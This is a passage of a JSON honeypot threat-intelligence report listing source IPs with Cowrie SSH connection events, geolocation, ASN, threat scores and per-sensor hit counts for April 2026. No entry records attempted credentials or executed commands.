        "first_seen_30d": "2026-04-28T03:25:24.385000+00:00",
        "last_seen_30d": "2026-04-28T03:31:02.319000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "66.132.186.174": {
      "attack_count": 4,
      "first_seen": "2026-04-07T15:33:23.057Z",
      "last_seen": "2026-04-07T15:33:38.427Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 84.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.4,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 219,
        "days_active_30d": 27,
        "ports_targeted_30d": 48,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-02T02:53:59+00:00",
        "last_seen_30d": "2026-04-28T16:00:17.899000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 134,
        "Honeytrap": 65,
        "Dionaea": 7,
        "Cowrie": 4,
        "Honeyaml": 3,
        "Sentrypeer": 2
      }
    },
    "66.132.195.111": {
      "attack_count": 4,
      "first_seen": "2026-04-22T02:31:57.380Z",
      "last_seen": "2026-04-22T02:32:12.383Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 73.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.3,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 85,
        "days_active_30d": 25,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-02T09:31:34+00:00",
        "last_seen_30d": "2026-04-26T03:01:16.445000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Honeytrap": 20,
        "ConPot": 6,
        "Cowrie": 4,
        "Ipphoney": 1
      }
    },
    "76.94.234.217": {
      "attack_count": 4,
      "first_seen": "2026-04-15T22:12:33.161Z",
      "last_seen": "2026-04-15T22:14:13.840Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Torrance",
      "asn": 20001,
      "as_org": "Charter Communications Inc",
      "threat_score": 12.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T22:11:23.440000+00:00",
        "last_seen_30d": "2026-04-15T22:15:16.374000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 4
      }
    },
    "91.196.152.104": {
      "attack_count": 4,
      "first_seen": "2026-04-04T00:16:10.605Z",
      "last_seen": "2026-04-04T00:16:11.332Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 81.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 134,
        "days_active_30d": 30,
        "ports_targeted_30d": 53,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T03:50:21+00:00",
        "last_seen_30d": "2026-04-30T15:37:38.343000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 77,
        "Honeytrap": 53,
        "Cowrie": 4
      }
    },
    "104.238.221.88": {
      "attack_count": 3,
      "first_seen": "2026-04-28T16:06:36.833Z",
      "last_seen": "2026-04-28T16:06:36.969Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 23470,
      "as_org": "ReliableSite.Net LLC",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T00:58:19.173000+00:00",
        "last_seen_30d": "2026-04-28T16:07:43.897000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 3
      }
    },
    "143.198.72.144": {
      "attack_count": 3,
      "first_seen": "2026-04-08T22:13:27.042Z",
      "last_seen": "2026-04-08T22:13:27.438Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.2,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 1,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-08T22:13:25+00:00",
        "last_seen_30d": "2026-04-08T22:14:38.104000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 52,
        "Honeytrap": 11,
        "Cowrie": 3
      }
    },
    "165.22.218.177": {
      "attack_count": 3,
      "first_seen": "2026-04-25T19:46:10.043Z",
      "last_seen": "2026-04-25T19:46:10.460Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 54.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 19.5,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 90,
        "days_active_30d": 1,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-25T19:46:08+00:00",
        "last_seen_30d": "2026-04-25T19:47:23.823000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 66,
        "Honeytrap": 18,
        "Cowrie": 3,
        "CitrixHoneypot": 1,
        "Dionaea": 1,
        "H0neytr4p": 1
      }
    },
    "45.55.32.64": {
      "attack_count": 3,
      "first_seen": "2026-04-01T11:33:15.534Z",
      "last_seen": "2026-04-01T11:33:15.545Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T11:33:15.534000+00:00",
        "last_seen_30d": "2026-04-01T11:34:20.144000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 3
      }
    },
    "91.196.152.51": {
      "attack_count": 3,
      "first_seen": "2026-04-13T00:24:17.932Z",
      "last_seen": "2026-04-13T00:24:17.934Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.6,
        "persistence": 10.8,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 13,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T00:49:15+00:00",
        "last_seen_30d": "2026-04-16T10:37:52.098000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Honeytrap": 4,
        "Cowrie": 3
      }
    },
    "102.184.77.21": {
      "attack_count": 2,
      "first_seen": "2026-04-30T02:24:02.149Z",
      "last_seen": "2026-04-30T02:24:15.114Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "New Cairo",
      "asn": 24835,
      "as_org": "RAYA Telecom - Egypt",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T02:24:02.149000+00:00",
        "last_seen_30d": "2026-04-30T02:25:20.379000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.248.207.40": {
      "attack_count": 2,
      "first_seen": "2026-04-29T11:27:44.286Z",
      "last_seen": "2026-04-29T11:27:58.501Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Paltan",
      "asn": 132608,
      "as_org": "Mango Teleservices Limited ISP",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T11:27:44.286000+00:00",
        "last_seen_30d": "2026-04-29T11:29:50.160000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "105.71.133.61": {
      "attack_count": 2,
      "first_seen": "2026-04-30T13:36:18.516Z",
      "last_seen": "2026-04-30T13:36:30.785Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Rabat",
      "asn": 36884,
      "as_org": "MAROCCONNECT",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T13:36:18.516000+00:00",
        "last_seen_30d": "2026-04-30T13:37:34.914000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "114.33.56.1": {
      "attack_count": 2,
      "first_seen": "2026-04-02T18:20:18.388Z",
      "last_seen": "2026-04-02T18:20:49.050Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T18:20:18.388000+00:00",
        "last_seen_30d": "2026-04-02T18:21:56.483000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "116.204.156.167": {
      "attack_count": 2,
      "first_seen": "2026-04-04T01:44:14.903Z",
      "last_seen": "2026-04-04T01:44:45.877Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 59371,
      "as_org": "Dimension Network & Communication Limited",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T06:01:54.235000+00:00",
        "last_seen_30d": "2026-04-06T23:38:57.458000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 2
      }
    },
    "121.171.222.70": {
      "attack_count": 2,
      "first_seen": "2026-04-06T17:23:16.608Z",
      "last_seen": "2026-04-06T17:23:47.206Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Incheon",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T17:23:16.608000+00:00",
        "last_seen_30d": "2026-04-06T17:24:56.595000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "125.113.235.41": {
      "attack_count": 2,
      "first_seen": "2026-04-30T07:18:28.703Z",
      "last_seen": "2026-04-30T07:18:40.882Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T07:18:28.703000+00:00",
        "last_seen_30d": "2026-04-30T07:19:42.958000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.50.254.38": {
      "attack_count": 2,
      "first_seen": "2026-04-05T18:12:26.572Z",
      "last_seen": "2026-04-05T18:12:57.298Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 9891,
      "as_org": "CS LOXINFO Public Company Limited.",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T18:12:26.572000+00:00",
        "last_seen_30d": "2026-04-05T18:14:02.207000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "172.105.184.74": {
      "attack_count": 2,
      "first_seen": "2026-04-30T21:14:20.116Z",
      "last_seen": "2026-04-30T21:14:20.118Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 19.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T21:14:20.116000+00:00",
        "last_seen_30d": "2026-04-30T21:15:21.869000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "177.54.26.15": {
      "attack_count": 2,
      "first_seen": "2026-04-06T17:02:07.956Z",
      "last_seen": "2026-04-06T17:02:20.377Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Duque de Caxias",
      "asn": 262447,
      "as_org": "IMG BRASIL TELECOMUNICACOES LTDA",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T17:02:07.956000+00:00",
        "last_seen_30d": "2026-04-06T17:03:26.774000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "193.176.31.153": {
      "attack_count": 2,
      "first_seen": "2026-04-12T00:08:28.415Z",
      "last_seen": "2026-04-12T00:08:28.792Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 25369,
      "as_org": "Hydra Communications Ltd",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.0,
        "persistence": 7.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 9,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T12:33:05+00:00",
        "last_seen_30d": "2026-04-12T00:09:37.011000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 52,
        "Honeytrap": 25,
        "Cowrie": 2
      }
    },
    "198.235.24.209": {
      "attack_count": 2,
      "first_seen": "2026-04-03T00:04:05.954Z",
      "last_seen": "2026-04-03T00:04:15.694Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 79.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.1,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 26,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-03T00:04:03.870000+00:00",
        "last_seen_30d": "2026-04-28T19:09:23.212000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 45,
        "Honeytrap": 15,
        "Cowrie": 2,
        "CitrixHoneypot": 1,
        "ConPot": 1
      }
    },
    "45.156.128.37": {
      "attack_count": 2,
      "first_seen": "2026-04-24T00:03:14.007Z",
      "last_seen": "2026-04-24T00:03:14.268Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 211680,
      "as_org": "Sistemas Informaticos, S.A.",
      "threat_score": 63.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.6,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 24,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T23:59:34.339000+00:00",
        "last_seen_30d": "2026-04-24T00:04:23.839000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Honeytrap": 6,
        "Cowrie": 2,
        "H0neytr4p": 1,
        "Tanner": 1
      }
    },
    "47.239.86.93": {
      "attack_count": 2,
      "first_seen": "2026-04-25T23:35:13.303Z",
      "last_seen": "2026-04-25T23:35:44.079Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T23:35:13.303000+00:00",
        "last_seen_30d": "2026-04-25T23:36:47.686000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "70.51.71.208": {
      "attack_count": 2,
      "first_seen": "2026-04-22T13:30:25.380Z",
      "last_seen": "2026-04-22T13:30:38.917Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "York",
      "asn": 577,
      "as_org": "Bell Canada",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T13:30:25.380000+00:00",
        "last_seen_30d": "2026-04-22T13:31:45.845000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "78.54.137.167": {
      "attack_count": 2,
      "first_seen": "2026-04-02T17:38:58.176Z",
      "last_seen": "2026-04-02T17:39:12.127Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Berlin",
      "asn": 6805,
      "as_org": "Telefonica Germany",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T17:38:58.176000+00:00",
        "last_seen_30d": "2026-04-02T17:40:19.190000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "78.68.39.38": {
      "attack_count": 2,
      "first_seen": "2026-04-05T17:16:01.867Z",
      "last_seen": "2026-04-05T17:16:33.162Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 3301,
      "as_org": "Telia Company AB",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T17:16:01.867000+00:00",
        "last_seen_30d": "2026-04-05T17:17:39.102000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "83.205.158.43": {
      "attack_count": 2,
      "first_seen": "2026-04-26T20:25:35.768Z",
      "last_seen": "2026-04-26T20:27:35.780Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Crozon",
      "asn": 3215,
      "as_org": "Orange",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T20:25:35.768000+00:00",
        "last_seen_30d": "2026-04-26T20:38:18.964000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "89.109.48.187": {
      "attack_count": 2,
      "first_seen": "2026-04-28T11:32:41.977Z",
      "last_seen": "2026-04-28T11:33:13.395Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Nizhniy Novgorod",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T11:32:41.977000+00:00",
        "last_seen_30d": "2026-04-28T11:34:19.181000+00:00",
